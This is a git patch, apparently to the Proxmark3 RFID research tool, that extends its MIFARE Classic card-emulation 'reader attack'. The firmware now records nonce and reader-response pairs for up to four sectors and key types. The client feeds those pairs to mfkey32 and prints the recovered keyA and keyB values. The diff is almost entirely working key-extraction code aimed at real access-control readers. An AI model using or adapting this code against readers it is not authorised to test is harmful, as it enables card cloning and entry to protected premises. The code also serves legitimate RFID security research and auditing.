From 79dcb9e0900d51edf30d8cf863aca7be2f257ff4 Mon Sep 17 00:00:00 2001
From: marshmellow42 <marshmellowrf@gmail.com>
Date: Wed, 22 Jun 2016 11:03:37 -0400
Subject: [PATCH] improve hf mf sim x reader attack

can now directly extract multiple keys for multiple sectors
---
 armsrc/BigBuf.h    |   2 +
 armsrc/iso14443a.c | 110 ++++++++++++++++++++++++++++-----------------
 client/cmdhfmf.c   |  61 ++++++++++++++++++++++++-
 3 files changed, 132 insertions(+), 41 deletions(-)

diff --git a/armsrc/BigBuf.h b/armsrc/BigBuf.h
index 11e02c7a..928c50c4 100644
--- a/armsrc/BigBuf.h
+++ b/armsrc/BigBuf.h
@@ -12,6 +12,8 @@
 #ifndef __BIGBUF_H
 #define __BIGBUF_H
 
+#include <stdbool.h> // for bool
+#include "common.h"  // for ramfunc
 
 #define BIGBUF_SIZE				40000
 #define MAX_FRAME_SIZE			256		// maximum allowed ISO14443 frame
diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c
index 27574dad..4f0a990f 100644
--- a/armsrc/iso14443a.c
+++ b/armsrc/iso14443a.c
@@ -2307,6 +2307,18 @@ void ReaderMifare(bool first_try)
 	set_tracing(FALSE);
 }
 
+typedef struct {
+  uint32_t cuid;
+  uint8_t  sector;
+  uint8_t  keytype;
+  uint32_t nonce;
+  uint32_t ar;
+  uint32_t nr;
+  uint32_t nonce2;
+  uint32_t ar2;
+  uint32_t nr2;
+} nonces_t;
+
 /**
   *MIFARE 1K simulate.
   *
@@ -2353,12 +2365,18 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
 	uint8_t rAUTH_NT[] = {0x01, 0x02, 0x03, 0x04};
 	uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00};
 		
-	//Here, we collect UID,NT,AR,NR,UID2,NT2,AR2,NR2
+	//Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2
 	// This can be used in a reader-only attack.
 	// (it can also be retrieved via 'hf 14a list', but hey...
-	uint32_t ar_nr_responses[] = {0,0,0,0,0,0,0,0};
-	uint8_t ar_nr_collected = 0;
-
+	
+	//allow collecting up to 4 sets of nonces to allow recovery of 4 keys (2 keyA & 2 keyB)
+	// must be set in multiples of 2 (for 1 keyA and 1 keyB)
+	#define ATTACK_KEY_COUNT 4
+	nonces_t ar_nr_resp[ATTACK_KEY_COUNT]; 
+	memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp));
+
+	uint8_t ar_nr_collected[ATTACK_KEY_COUNT];
+	memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected));
 	// Authenticate response - nonce
 	uint32_t nonce = bytes_to_num(rAUTH_NT, 4);
 	
@@ -2506,16 +2524,35 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
 
 				uint32_t ar = bytes_to_num(receivedCmd, 4);
 				uint32_t nr = bytes_to_num(&receivedCmd[4], 4);
-
-				//Collect AR/NR
-				if(ar_nr_collected < 2){
-					if(ar_nr_responses[2] != ar)
-					{// Avoid duplicates... probably not necessary, ar should vary. 
-						ar_nr_responses[ar_nr_collected*4] = cuid;
-						ar_nr_responses[ar_nr_collected*4+1] = nonce;
-						ar_nr_responses[ar_nr_collected*4+2] = ar;
-						ar_nr_responses[ar_nr_collected*4+3] = nr;
-						ar_nr_collected++;
+	
+				//Collect AR/NR per key/sector
+				if(flags & FLAG_NR_AR_ATTACK) {
+					for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
+						if(cardAUTHKEY > 0 && i < (ATTACK_KEY_COUNT/2) ) {
+							i=ATTACK_KEY_COUNT/2;  //keyB skip to keyB
+						} else if (cardAUTHKEY == 0 && i == ATTACK_KEY_COUNT/2) {
+							break; //should not get here - quit
+						}
+						// if first auth for sector, or matches sector of previous auth
+						if ( ar_nr_collected[i]==0 || (cardAUTHSC == ar_nr_resp[i].sector && ar_nr_collected[i] > 0) ) {
+							if(ar_nr_collected[i] < 2) {
+								if(ar_nr_resp[ar_nr_collected[i]].ar != ar)
+								{// Avoid duplicates... probably not necessary, ar should vary. 
+									if (ar_nr_collected[i]==0) {
+										ar_nr_resp[i].cuid = cuid;
+										ar_nr_resp[i].sector = cardAUTHSC;
+										ar_nr_resp[i].nonce = nonce;
+										ar_nr_resp[i].ar = ar;
+										ar_nr_resp[i].nr = nr;
+									} else {
+										ar_nr_resp[i].ar2 = ar;
+										ar_nr_resp[i].nr2 = nr;
+									}
+									ar_nr_collected[i]++;
+									break;
+								}
+							}
+						}
 					}
 				}
 
@@ -2537,6 +2574,7 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
 					break;
 				}
 
+				//auth successful
 				ans = prng_successor(nonce, 96) ^ crypto1_word(pcs, 0, 0);
 
 				num_to_bytes(ans, 4, rAUTH_AT);
@@ -2780,37 +2818,29 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
 	FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
 	LEDsoff();
 
-	if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
-	{
-		//May just aswell send the collected ar_nr in the response aswell
-		cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_responses,ar_nr_collected*4*4);
-	}
-
-	if(flags & FLAG_NR_AR_ATTACK)
+	if(flags & FLAG_NR_AR_ATTACK && MF_DBGLEVEL >= 1)
 	{
-		if(ar_nr_collected > 1) {
-			Dbprintf("Collected two pairs of AR/NR which can be used to extract keys from reader:");
-			Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
-					ar_nr_responses[0], // UID
-					ar_nr_responses[1], //NT
-					ar_nr_responses[2], //AR1
-					ar_nr_responses[3], //NR1
-					ar_nr_responses[6], //AR2
-					ar_nr_responses[7] //NR2
-					);
-		} else {
-			Dbprintf("Failed to obtain two AR/NR pairs!");
-			if(ar_nr_collected >0) {
-				Dbprintf("Only got these: UID=%08x, nonce=%08x, AR1=%08x, NR1=%08x",
-						ar_nr_responses[0], // UID
-						ar_nr_responses[1], //NT
-						ar_nr_responses[2], //AR1
-						ar_nr_responses[3] //NR1
+		for ( uint8_t	i = 0; i < ATTACK_KEY_COUNT; i++) {
+			if (ar_nr_collected[i] == 2) {
+				Dbprintf("Collected two pairs of AR/NR which can be used to extract %s from reader for sector %d:", (i<ATTACK_KEY_COUNT/2) ? "keyA" : "keyB", ar_nr_resp[i].sector);
+				Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
+						ar_nr_resp[i].cuid,  //UID
+						ar_nr_resp[i].nonce, //NT
+						ar_nr_resp[i].ar,    //AR1
+						ar_nr_resp[i].nr,    //NR1
+						ar_nr_resp[i].ar2,   //AR2
+						ar_nr_resp[i].nr2    //NR2
 						);
 			}
-		}
+		}	
 	}
 	if (MF_DBGLEVEL >= 1)	Dbprintf("Emulator stopped. Tracing: %d  trace length: %d ",	tracing, BigBuf_get_traceLen());
+
+	if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
+	{
+		//May just aswell send the collected ar_nr in the response aswell
+		cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_resp,sizeof(ar_nr_resp));
+	}
 	
 }
 
diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c
index 48e78b1c..df504416 100644
--- a/client/cmdhfmf.c
+++ b/client/cmdhfmf.c
@@ -9,6 +9,7 @@
 //-----------------------------------------------------------------------------
 
 #include "cmdhfmf.h"
+#include "./nonce2key/nonce2key.h"
 
 static int CmdHelp(const char *Cmd);
 
@@ -28,7 +29,7 @@ int CmdHF14AMifare(const char *Cmd)
 	printf("-------------------------------------------------------------------------\n");
 
 	
-start:
+ start:
     clearCommandBuffer();
     SendCommand(&c);
 	
@@ -1079,6 +1080,64 @@ int CmdHF14AMf1kSim(const char *Cmd)
 			//We're waiting only 1.5 s at a time, otherwise we get the
 			// annoying message about "Waiting for a response... "
 		}
+		//got a response
+		if (flags & FLAG_NR_AR_ATTACK) {
+			typedef struct {
+			  uint32_t cuid;
+			  uint8_t  sector;
+			  uint8_t  keytype;
+			  uint32_t nonce;
+			  uint32_t ar;
+			  uint32_t nr;
+			  uint32_t nonce2;
+			  uint32_t ar2;
+			  uint32_t nr2;
+			} nonces_t;
+			nonces_t ar_resp[4];
+			//uint32_t ar_responses[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
+			uint64_t key = 0;
+			//uint64_t keyB = 0;
+			//uint8_t arnr_len = 8;
+			memcpy (ar_resp, resp.d.asBytes, sizeof(ar_resp));
+			
+			for (uint8_t i = 0; i<4; i++) {
+				if (ar_resp[i].ar2 > 0) {
+					key = mfkey32(ar_resp[i].cuid,ar_resp[i].nonce,ar_resp[i].ar,ar_resp[i].nr,ar_resp[i].ar2,ar_resp[i].nr2);
+					if (key>0) {
+						PrintAndLog("\nFound Key%s for sector %d: [%04x%08x]", (i<2) ? "A" : "B", ar_resp[i].sector, (uint32_t) (key>>32), (uint32_t) (key &0xFFFFFFFF));
+						//set emulator memory for key
+					}	
+				}
+			}
+			/*
+			if (ar_resp[1] && ar_responses[2] && ar_responses[3] && ar_responses[6] && ar_responses[7]) {
+				keyA = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2],ar_responses[3],ar_responses[6],ar_responses[7]);
+				if (keyA>0) {
+					PrintAndLog("\nFound KeyA: [%04x%08x]\n\n", (uint32_t) (keyA>>32), (uint32_t) (keyA &0xFFFFFFFF));
+					//set emulator memory for key
+				} else {
+					keyA = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2],ar_responses[3],ar_responses[6],ar_responses[7]);			
+					if (keyA>0) {
+						PrintAndLog("\nFound KeyA: [%04x%08x]\n\n", (uint32_t) (keyA>>32), (uint32_t) (keyA &0xFFFFFFFF));
+						//set emulator memory for key
+					}
+				}
+			} else {
+				PrintAndLog("keyA response error: %d %d %d %d %d",ar_responses[1] , ar_responses[2] , ar_responses[3] , ar_responses[6] , ar_responses[7]);
+			}
+			if (ar_responses[1] && ar_responses[2+arnr_len] && ar_responses[3+arnr_len] && ar_responses[6+arnr_len] && ar_responses[7+arnr_len]) {
+				keyB = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2+arnr_len],ar_responses[3+arnr_len],ar_responses[6+arnr_len],ar_responses[7+arnr_len]);
+				if (keyB>0) {
+					PrintAndLog("\nFound KeyB: [%04x%08x]\n\n", (uint32_t) (keyB>>32), (uint32_t) (keyB & 0xFFFFFFFF));
+					//set emulator memory for key
+				}
+			}
+			if (keyA || keyB) {
+				//TODO retry sim with new keys in emulator memory? (somehow flag to check that to see if new key has successful auth now?)
+				//      to validate key is correct
+			}
+			*/
+		}
 	}
 	
 	return 0;
-- 
2.39.5